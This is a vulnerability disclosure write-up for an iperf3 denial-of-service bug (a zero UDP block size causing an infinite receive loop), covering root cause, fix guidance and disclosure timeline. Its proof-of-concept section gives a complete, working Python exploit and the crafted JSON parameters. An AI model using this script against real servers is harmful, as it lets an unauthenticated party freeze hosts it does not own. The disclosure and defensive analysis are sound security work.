CVE-2026-102253 · iperf3
>= 3.14, < 3.22· CWE-835 → CWE-400 · CVSS 4.0 8.7 High (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) · Fixed in iperf3 3.22 · Coordinated through VulnCheck. Official record: cve.org/CVE-2026-102253 · vendor release 3.22 · VulnCheck advisory
TL;DR
iperf3 is the network throughput tool
everyone reaches for — iperf3 -s on one box, iperf3 -c on another, read the
bandwidth number. It runs on routers, in CI pipelines, on lab servers, and on a
surprising number of internet-facing hosts people spin up “just to run a quick
test” and forget about.
I found that an iperf3 server, in its default configuration, can be frozen
solid by an unauthenticated attacker with one small control message and one
16-byte UDP packet. No credentials, no valid test, no memory corruption —
just a number set to zero in the right place, which turns the server’s receive
loop into an infinite loop. The affected thread pins a CPU core at ~100% and
never comes back; the process has to be SIGKILLed. One packet, and your iperf3
server is a space heater.
- Affected: iperf3 (esnet/iperf), versions 3.14 through 3.21
- Fixed in: iperf3 3.22 — upgrade is the fix
- Impact: Unauthenticated remote denial of service — CVSS 4.0 8.7 High
- Root cause: a loop stride taken from attacker-controlled input, with a validation gap that lets that stride be 0
- Weakness: CWE-835 (Loop with Unreachable Exit Condition) → CWE-400 (Uncontrolled Resource Consumption)
Why iperf3’s server is an interesting target
iperf3 has a client and a server, and they speak a small custom protocol over a TCP control channel (default port 5201) before any measurement happens. The client connects, the two sides exchange a JSON blob of test parameters — protocol (TCP or UDP), block size, duration, parallelism, and so on — and then the actual data test runs over TCP or UDP.
The thing to notice is that the server trusts the client to describe the test. Those parameters aren’t just hints; they configure buffer sizes and loop bounds in the server’s own data path. That’s fine when the peer is a real iperf3 client — but nothing stops a peer from being a few dozen lines of Python that speak the wire protocol directly and send parameter values a real client never would.
That gap — “values a real client never sends, but the server still accepts” — is exactly where this bug lives.
The bug
The loop
When the server receives UDP data, it walks the receive buffer one datagram at a
time in iperf_udp_recv() (src/iperf_udp.c). The loop advances by a stride
called dgram_sz:
// src/iperf_udp.c (abridged)
while (buf_sz >= dgram_sz && dgram_buf + dgram_sz <= dgram_buf_end) {
if (buf_sz < min_pkt_size) // min_pkt_size == 12
break;
/* ... parse the 12/20-byte packet header ... */
dgram_buf += dgram_sz; // advance by the stride
buf_sz -= dgram_sz; // consume the stride
}
Read the loop with dgram_sz == 0 in mind. If the stride is zero:
dgram_buf += 0— the pointer never moves.buf_sz -= 0— the remaining-bytes counter never shrinks.- The only early
breakfires whenbuf_sz < 12— butbuf_sznever changes, so if it started at ≥ 12 it stays there forever.
Every condition that could end the loop depends on progress the loop never makes. Enter it once with at least 12 bytes in the buffer and a stride of zero, and it spins forever at 100% CPU. That’s textbook CWE-835 — a loop whose exit condition is unreachable.
So the whole bug reduces to one question: can an attacker make dgram_sz
zero? dgram_sz comes straight from the negotiated block size (blksize),
which comes straight from the client’s len parameter. So: can the client set
len to 0 for a UDP test?
The validation gap
It’s supposed to be impossible. iperf3 validates blksize after parsing the
parameters, in get_parameters() (src/iperf_api.c). Here’s the check:
// src/iperf_api.c (abridged)
if ((test->protocol->id != Pudp && test->settings->blksize <= 0) // non-UDP: rejects 0
|| test->settings->blksize > MAX_BLOCKSIZE) {
i_errno = IEBLOCKSIZE; return -1;
}
if (test->protocol->id == Pudp &&
(test->settings->blksize > 0 && // <-- the bug
(test->settings->blksize < MIN_UDP_BLOCKSIZE ||
test->settings->blksize > MAX_UDP_BLOCKSIZE))) {
i_errno = IEUDPBLOCKSIZE; return -1;
}
Look at the two branches:
- The non-UDP branch rejects
blksize <= 0outright. Good. - The UDP branch range-checks
blksize… but only “whenblksize > 0”. The entire UDP validation is guarded byblksize > 0, so whenblksizeis exactly 0, the range check is skipped — and the non-UDP branch above doesn’t apply to UDP.blksize == 0sails through both checks for UDP.
The parse step earlier only rejects negative values (len < 0), so len: 0
is accepted and stored. A genuine iperf3 client never sends this — when you run
iperf3 -c host -u -l 0, the client resolves 0 to a concrete size from the
path MTU before it ever hits the wire (iperf_client_api.c). The zero only
survives if the peer is speaking the protocol by hand. Which an attacker is.
Getting to the loop with bytes in the buffer
There’s one more hop. With blksize == 0, the plain UDP read path asks the
socket for 0 bytes, gets 0 back, and returns early — safe. You need the receive
buffer to actually contain data while the stride stays zero.
UDP GRO (Generic Receive Offload) does exactly that. If the parameters also
set gro: 1 with a positive gro_bf_size, the receive size is taken from
gro_bf_size instead of blksize (src/iperf_udp.c), so the server reads up
to gro_bf_size bytes into the buffer — while dgram_sz is still derived
from blksize == 0. UDP_GRO is a standard, unprivileged socket option on
modern Linux. That’s the combination: buffer non-empty, stride zero, loop
infinite.
A dead end worth recording: I initially expected
skip_rx_copy+MSG_TRUNCto be a second trigger. It isn’t —iperf_new_stream()allocates the stream buffer withmmap(NULL, blksize, …), andmmapof size 0 fails withEINVALbefore the stream (and its receive thread) is ever created. So the non-GRO path kills itself early. Only the GRO path reaches the loop — I verified this experimentally rather than assuming it, which mattered, because the “obvious” trigger would have made for a false report.
This is not a prior-CVE rerun
iperf3 had a cluster of security fixes shortly before this (CVE-2025-54349 /
54350 / 54351) covering iperf_auth.c and a --skip-rx-copy buffer overflow in
net.c. This is a distinct code path and a distinct root cause — a liveness bug
in the UDP receive loop, not a memory-safety bug — so none of those fixes touch
it.
Impact
On a default iperf3 -s, one crafted exchange plus one 16-byte UDP datagram
pins the per-stream receive thread at ~100% CPU permanently. The test never
completes, the server can’t clean the connection up on its own, and — as the
official advisory notes — the process doesn’t respond to normal control-channel
closure and has to be killed with SIGKILL.
Because iperf3 -s serves one test at a time by default, that single packet
takes the whole server down until a human intervenes. Point the trigger at each
core’s worth of workers and you exhaust the host. It’s a clean availability
denial of service: no data is read or altered, nothing is corrupted — the server
is simply gone. That’s why it scores confidentiality/integrity None,
availability High → CVSS 4.0 8.7.
Proof of concept
The PoC is a standalone Python 3 script — no iperf3 client binary required. It speaks the control protocol directly: cookie, parameter exchange, stream creation, then one malicious UDP datagram.
Run this only against a server you own, on an isolated host. It will hang the target until you
SIGKILLit.
Terminal 1 — start a vulnerable server (any 3.14–3.21 build):
./src/iperf3 -s -p 5201
Terminal 2 — fire the PoC:
python3 poc_udp_dos.py <server-ip> 5201
The crafted parameter message is just this JSON, length-prefixed on the control channel:
{"udp":true,"len":0,"gro":1,"gro_bf_size":1000,"omit":0,"time":10,"parallel":1}
len:0 is the zero stride; gro:1 + gro_bf_size:1000 is what keeps bytes
flowing into the buffer. After reaching TEST_RUNNING, the script sends one
UDP datagram of 16 bytes, and the server never speaks again:
[*] Server state -> 9 (PARAM_EXCHANGE)
[*] Sending crafted params: {'udp': True, 'len': 0, 'gro': 1, 'gro_bf_size': 1000, ...}
[*] Server state -> 10 (CREATE_STREAMS)
[*] UDP connect reply: 36373839
[*] Server state -> 1
[*] Server state -> 2 (TEST_RUNNING)
[*] Sending ONE malicious UDP datagram (16 bytes, dgram_sz=0 -> infinite loop)
[+] Control channel produced no further data for 15s after the single trigger datagram
Confirm it independently with top -H -p <server-pid> — the receive thread sits
at 99.9% CPU and accumulates CPU time without bound (I watched it climb for 65+
seconds of wall-clock with no recovery). Reproduced 3/3 against freshly started
servers.
Full proof-of-concept source
The complete script — no third-party dependencies, standard library only. Save
it as poc_udp_dos.py and run python3 poc_udp_dos.py <server-ip> [port]
against a server you control.
#!/usr/bin/env python3
"""
CVE-2026-102253: iperf3 unauthenticated pre-auth infinite-loop / CPU-exhaustion DoS
CWE-835 (Loop with Unreachable Exit Condition) -> CWE-400 (Uncontrolled Resource Consumption)
CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 HIGH
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 HIGH
Affected: iperf3 server (`iperf3 -s`), versions 3.14 through 3.21. Fixed in 3.22.
Component: src/iperf_udp.c:iperf_udp_recv(), src/iperf_api.c:get_parameters()
Root cause
----------
The UDP receive loop in iperf_udp_recv() advances by `dgram_sz`, which is
taken directly from the client-supplied "len" (blksize) control parameter:
while (buf_sz >= dgram_sz && dgram_buf + dgram_sz <= dgram_buf_end) {
...
dgram_buf += dgram_sz;
buf_sz -= dgram_sz;
}
get_parameters() (src/iperf_api.c) validates blksize with two checks:
if ((test->protocol->id != Pudp && test->settings->blksize <= 0)
|| test->settings->blksize > MAX_BLOCKSIZE) { reject }
if (test->protocol->id == Pudp &&
(test->settings->blksize > 0 &&
(test->settings->blksize < MIN_UDP_BLOCKSIZE || ...))) { reject }
For UDP the range check is only applied *when blksize is already > 0*, so
blksize == 0 sails through both checks. A genuine iperf3 client never sends
len=0 for UDP (it resolves 0 to the path MTU beforehand in
iperf_client_api.c), so this requires a custom/raw client -- not achievable
by user error, only by a party who can reach the control port.
With dgram_sz == 0 and gro=1 (any positive gro_bf_size), a single UDP
datagram of >= 12 bytes causes iperf_udp_recv()'s loop to spin forever:
dgram_buf/buf_sz never change, and none of the loop's break conditions can
fire. The server's per-stream receive thread pins one CPU core at 100% and
never returns -- an unauthenticated, single-packet, remote CPU-exhaustion DoS.
(The alternate skip_rx_copy/MSG_TRUNC path described in initial review does
NOT reach the loop: iperf_new_stream() mmaps a buffer of size blksize, and
mmap(NULL, 0, ...) fails with EINVAL before the stream is even created. The
GRO path avoids this because gro_bf_size keeps the mmap'd buffer non-zero
while blksize/dgram_sz stays 0.)
This PoC speaks the iperf3 control-channel protocol directly (no iperf3
client binary needed) to reach TEST_RUNNING, then sends one crafted UDP
datagram and demonstrates the server thread never completes / pins a core.
Usage:
python3 poc_udp_dos.py <server-ip> [port]
"""
import socket
import struct
import sys
import time
COOKIE_SIZE = 37
PARAM_EXCHANGE = 9
CREATE_STREAMS = 10
TEST_START = 1
TEST_RUNNING = 2
UDP_CONNECT_MSG = 0x36373839 # little-endian native value, matches iperf.h on LE hosts
def send_json(sock, obj):
import json
body = json.dumps(obj).encode()
sock.sendall(struct.pack("!I", len(body)) + body)
def read_state(sock):
b = sock.recv(1)
if not b:
raise RuntimeError("control channel closed")
return b[0]
def main():
if len(sys.argv) < 2:
print(f"usage: {sys.argv[0]} <server-ip> [port]")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 5201
print(f"[*] Connecting to iperf3 control port {host}:{port}")
ctrl = socket.create_connection((host, port), timeout=10)
cookie = ("poc-dos-" + "x" * (COOKIE_SIZE - 8))[:COOKIE_SIZE].encode()
assert len(cookie) == COOKIE_SIZE
ctrl.sendall(cookie)
state = read_state(ctrl)
print(f"[*] Server state -> {state} (expect {PARAM_EXCHANGE}=PARAM_EXCHANGE)")
assert state == PARAM_EXCHANGE
# Malicious params: UDP test, len(blksize)=0, gro=1 (GRO path).
# Server defaults to RECEIVER mode, i.e. it will call iperf_udp_recv()
# on datagrams *we* send it.
#
# Note: the skip_rx_copy (MSG_TRUNC) path described as an alternate
# trigger fails earlier, during stream buffer setup (iperf_new_stream()
# does mmap(NULL, blksize, ...) which errors out with EINVAL when
# blksize==0), so the GRO path is what actually reaches iperf_udp_recv()
# -- gro_bf_size keeps the mmap'd buffer non-zero-sized while blksize
# (dgram_sz) stays 0.
params = {
"udp": True,
"len": 0,
"gro": 1,
"gro_bf_size": 1000,
"omit": 0,
"time": 10,
"parallel": 1,
}
print(f"[*] Sending crafted params: {params}")
send_json(ctrl, params)
state = read_state(ctrl)
print(f"[*] Server state -> {state} (expect {CREATE_STREAMS}=CREATE_STREAMS)")
assert state == CREATE_STREAMS
print("[*] Opening UDP data socket and sending UDP 'connect' handshake")
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.settimeout(5)
udp.connect((host, port))
udp.send(struct.pack("<I", UDP_CONNECT_MSG))
reply = udp.recv(4)
print(f"[*] UDP connect reply: {reply.hex()}")
for _ in range(20):
state = read_state(ctrl)
print(f"[*] Server state -> {state}")
if state == TEST_RUNNING:
break
print("[*] Sending ONE malicious UDP datagram (16 bytes, dgram_sz=0 -> infinite loop)")
payload = b"\x00" * 16
t0 = time.time()
udp.send(payload)
print("[*] Datagram sent. Server receive thread should now be spinning at 100% CPU.")
print("[*] Verifying: control channel should now be unresponsive (no further state changes).")
ctrl.settimeout(15)
try:
b = ctrl.recv(1)
print(f"[!] Unexpected: control channel still responsive, got {b!r} "
f"after {time.time()-t0:.1f}s -- server may not be vulnerable / already patched.")
except socket.timeout:
print(f"[+] Control channel produced no further data for 15s after the single "
f"trigger datagram ({time.time()-t0:.1f}s total) -- consistent with the "
f"receive thread being wedged in an infinite loop.")
print("[+] Confirm independently with `top`/`perf top` on the server host: "
"one core should be pinned at ~100% CPU by the iperf3 process, "
"persisting indefinitely (until iperf3 is killed).")
ctrl.close()
udp.close()
if __name__ == "__main__":
main()
The script does four things in sequence: sends the 37-byte cookie the protocol
expects, sends the malicious parameter JSON (len: 0, gro: 1), opens the UDP
data socket and completes its connect handshake, then sends exactly one 16-byte
UDP datagram once the server reaches TEST_RUNNING. Everything after that is
verification — it watches the control channel to confirm the server has gone
silent, which is the observable signature of the receive thread being wedged in
the infinite loop.
The fix
The vendor fixed it in iperf3 3.22 — upgrading is the remediation. If you run an iperf3 server anywhere reachable by untrusted hosts, update to 3.22 or later.
The fix matches what the root-cause analysis points at, and it’s worth noting there are two independent places to stop this — defense in depth:
- Validate the input. In
get_parameters(), drop theblksize > 0gate on the UDP range check soblksize == 0(and any non-positive value) is rejected for UDP, exactly as the non-UDP branch already does. This closes the door at the boundary. - Don’t trust the stride. In
iperf_udp_recv(), treatdgram_sz <= 0as a hard error before the loop. Even if a zero stride ever reached the loop through some other path, the loop still couldn’t spin. This makes the loop correct regardless of how its inputs were set.
The first fix is the specific patch; the second is the one that makes the bug class impossible. Good fixes do both — close the hole and make the dangerous primitive safe.
If you operate iperf3 servers
- Upgrade to 3.22+. That’s the real fix.
- Don’t leave
iperf3 -sexposed to untrusted networks. It’s a testing tool, not a hardened service — bind it to the interface you actually test over, and firewall the control port (5201) off from the public internet. - The
--authorized-usersoption (pre-shared RSA auth) blocks this, since the attacker never gets to the parameter exchange — but it’s not the default, and “turn on auth” is a weaker answer than “upgrade.”
Disclosure timeline
- 2026-07-15 — Vulnerability found and confirmed with a local PoC.
- 2026-09 — Reported for coordinated disclosure through VulnCheck (CNA); CVE reserved 2026-09-28.
- 2026-09-29 — CVE-2026-102253 published; fix released in iperf3 3.22.
Credited as finder on the CVE record; VulnCheck coordinated. Thanks to the esnet/iperf maintainers for the fix and to VulnCheck for handling coordination.
Takeaways
- A loop stride is a security boundary. The moment a loop advances by a
value an attacker can influence, zero (and negative) are inputs you have to
reason about — not edge cases, attack cases.
while (remaining >= stride)with a controllablestrideis a CWE-835 waiting to happen. - Guard clauses that are themselves guarded are a classic gap. The whole UDP
range check was wrapped in
blksize > 0, so the one value that needed rejecting —0— was the one value the guard excused. When you writeif (x > 0 && out_of_range(x)) reject, you’ve quietly decidedx == 0is always fine. Make sure it is. - Verify the trigger, don’t assume it. The first exploitation path I thought
of (
skip_rx_copy) looked right and was wrong — themmap(0)failure killed it before the loop. Building the actual PoC, rather than reasoning about it on paper, is what separated a real finding from a plausible-sounding false one.
— Ravindu Lakmina Munaweera